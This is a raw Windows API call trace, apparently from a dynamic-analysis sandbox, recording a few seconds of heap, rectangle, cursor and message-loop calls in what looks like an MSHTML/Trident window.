[0252.062] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0252.062] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0252.062] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0252.062] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0252.062] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0252.062] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0252.062] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0252.063] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0252.064] LsSetDoc () returned 0x0
[0252.064] LsCreateLine () returned 0x0
[0252.064] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0252.066] LsDestroyLine () returned 0x0
[0252.066] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0252.067] PtInRect (lprc=0x1cde84, pt=0x153a6) returned 1
[0252.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0252.067] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0252.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0252.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0252.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6c78 | out: hHeap=0x450000) returned 1
[0252.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0252.067] SetTimer (hWnd=0x10136, nIDEvent=0x2009, uElapse=0x12c, lpTimerFunc=0x0) returned 0x2009
[0252.068] PtInRect (lprc=0x1cf24c, pt=0x153a6) returned 1
[0252.068] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
[0252.068] GetCursor () returned 0x10011
[0252.068] ShowCursor (bShow=0) returned -1
[0252.068] SetCursor (hCursor=0x10003) returned 0x10011
[0252.068] ShowCursor (bShow=1) returned 0
[0252.069] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0252.070] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0252.070] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0252.070] GetMessageTime () returned 175516
[0252.070] GetMessagePos () returned 0x22e03ab
[0252.070] GetCapture () returned 0x0
[0252.070] GetCurrentThreadId () returned 0x4e0
[0252.070] GetCurrentThreadId () returned 0x4e0
[0252.070] GetCurrentThreadId () returned 0x4e0
[0252.070] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0252.070] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0252.070] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0252.070] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0252.070] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6c78
[0252.070] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0252.070] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0252.070] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0252.070] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0252.070] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0252.070] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0252.070] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0252.070] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0252.070] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0252.070] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0252.070] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0252.070] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0252.070] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0252.070] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0252.070] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0252.070] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0252.070] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0252.071] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0252.071] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0252.071] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0252.071] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0252.071] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0252.071] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0252.071] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0252.071] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0252.071] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0252.071] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0252.071] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0252.071] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0252.071] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0252.071] LsSetDoc () returned 0x0
[0252.071] LsCreateLine () returned 0x0
[0252.071] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0252.072] LsDestroyLine () returned 0x0
[0252.072] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0252.073] PtInRect (lprc=0x1cdf0c, pt=0x153a6) returned 1
[0252.073] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0252.073] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0252.073] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0252.073] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0252.073] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6c78 | out: hHeap=0x450000) returned 1
[0252.073] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0252.073] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0252.073] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0252.073] GetCurrentThreadId () returned 0x4e0
[0252.074] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x1de0371, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0252.074] NtdllDefWindowProc_W () returned 0x0
[0252.074] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0252.074] GetMessageTime () returned 175516
[0252.074] GetMessagePos () returned 0x22e03ab
[0252.074] GetCapture () returned 0x0
[0252.074] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0252.074] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0252.074] GetCurrentThreadId () returned 0x4e0
[0252.074] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x464950, Size=0x18) returned 0x496010
[0252.074] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0252.074] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0252.075] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0252.075] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0252.075] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0252.075] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0252.075] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0252.075] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0252.075] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0252.075] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0252.075] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0252.075] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0252.075] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0252.075] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x496010 | out: hHeap=0x450000) returned 1
[0252.076] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x8004, wParam=0x0, lParam=0x1de0371, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0252.076] NtdllDefWindowProc_W () returned 0x0
[0252.076] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0252.076] GetCurrentThreadId () returned 0x4e0
[0252.076] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0252.076] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0252.076] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0252.076] NtdllDefWindowProc_W () returned 0x0
[0252.076] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0252.076] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0252.076] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0252.076] GetCurrentThreadId () returned 0x4e0
[0252.076] GetCurrentThreadId () returned 0x4e0
[0252.076] GetCurrentThreadId () returned 0x4e0
[0252.076] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0252.370] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0252.370] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0252.370] GetCapture () returned 0x0
[0252.370] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0252.371] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0252.371] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0252.371] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0252.371] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0252.371] GetCurrentThreadId () returned 0x4e0
[0252.371] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0252.682] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0252.682] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0252.682] GetCapture () returned 0x0
[0252.682] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0252.682] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0252.683] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0252.683] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0252.683] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0252.683] GetCurrentThreadId () returned 0x4e0
[0252.683] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0252.996] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0252.996] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0252.996] GetCapture () returned 0x0
[0252.996] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0252.996] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0252.997] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0252.997] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0252.997] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0252.997] GetCurrentThreadId () returned 0x4e0
[0252.997] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0253.306] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0253.306] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0253.306] GetCapture () returned 0x0
[0253.307] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0253.307] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0253.307] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0253.307] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0253.307] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0253.307] GetCurrentThreadId () returned 0x4e0
[0253.307] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0253.618] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0253.618] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0253.618] GetCapture () returned 0x0
[0253.618] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0253.618] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0253.618] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0253.618] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0253.618] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0253.618] GetCurrentThreadId () returned 0x4e0
[0253.619] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0253.930] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0253.930] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0253.930] GetCapture () returned 0x0
[0253.930] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0253.930] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0253.930] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0253.931] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0253.931] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0253.931] GetCurrentThreadId () returned 0x4e0
[0253.931] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0254.242] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0254.242] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0254.242] GetCapture () returned 0x0
[0254.242] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0254.242] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0254.242] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0254.243] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0254.243] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0254.243] GetCurrentThreadId () returned 0x4e0
[0254.243] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0254.554] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0254.554] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0254.554] GetCapture () returned 0x0
[0254.554] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0254.554] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0254.554] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0254.554] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0254.554] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0254.555] GetCurrentThreadId () returned 0x4e0
[0254.555] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0254.867] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0254.867] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0254.867] GetCapture () returned 0x0
[0254.867] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0254.867] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0254.867] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0254.867] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0254.867] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0254.867] GetCurrentThreadId () returned 0x4e0
[0254.867] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0255.178] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0255.178] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0255.178] GetCapture () returned 0x0
[0255.179] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0255.179] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0255.179] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0255.179] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0255.179] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0255.179] GetCurrentThreadId () returned 0x4e0
[0255.179] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0255.490] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0255.490] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0255.490] GetCapture () returned 0x0
[0255.490] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0255.490] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0255.491] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0255.491] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0255.491] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0255.491] GetCurrentThreadId () returned 0x4e0
[0255.491] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0255.802] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0255.802] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0255.802] GetCapture () returned 0x0
[0255.803] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0255.803] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0255.803] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0255.803] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0255.803] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0255.803] GetCurrentThreadId () returned 0x4e0
[0255.803] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0256.114] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0256.115] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0256.115] GetCapture () returned 0x0
[0256.115] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0256.115] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0256.115] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0256.115] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0256.115] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0256.115] GetCurrentThreadId () returned 0x4e0
[0256.115] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0256.426] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0256.426] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0256.426] GetCapture () returned 0x0
[0256.426] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0256.426] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0256.426] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0256.426] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0256.426] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0256.427] GetCurrentThreadId () returned 0x4e0
[0256.427] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0256.738] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0256.738] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0256.738] GetCapture () returned 0x0
[0256.738] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0256.738] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0256.738] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0256.738] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0256.739] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0256.739] GetCurrentThreadId () returned 0x4e0
[0256.739] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0257.050] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0257.050] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0257.050] GetCapture () returned 0x0
[0257.050] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0257.050] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0257.050] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0257.051] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0257.051] PtInRect (lprc=0x1cf3f0, pt=0x371) returned 1
[0257.051] GetCurrentThreadId () returned 0x4e0
[0257.051] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0257.362] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0257.362] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0257.362] GetCapture () returned 0x0
[0257.363] WindowFromPoint (Point=0x3ab) returned 0x1013a
[0257.363] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
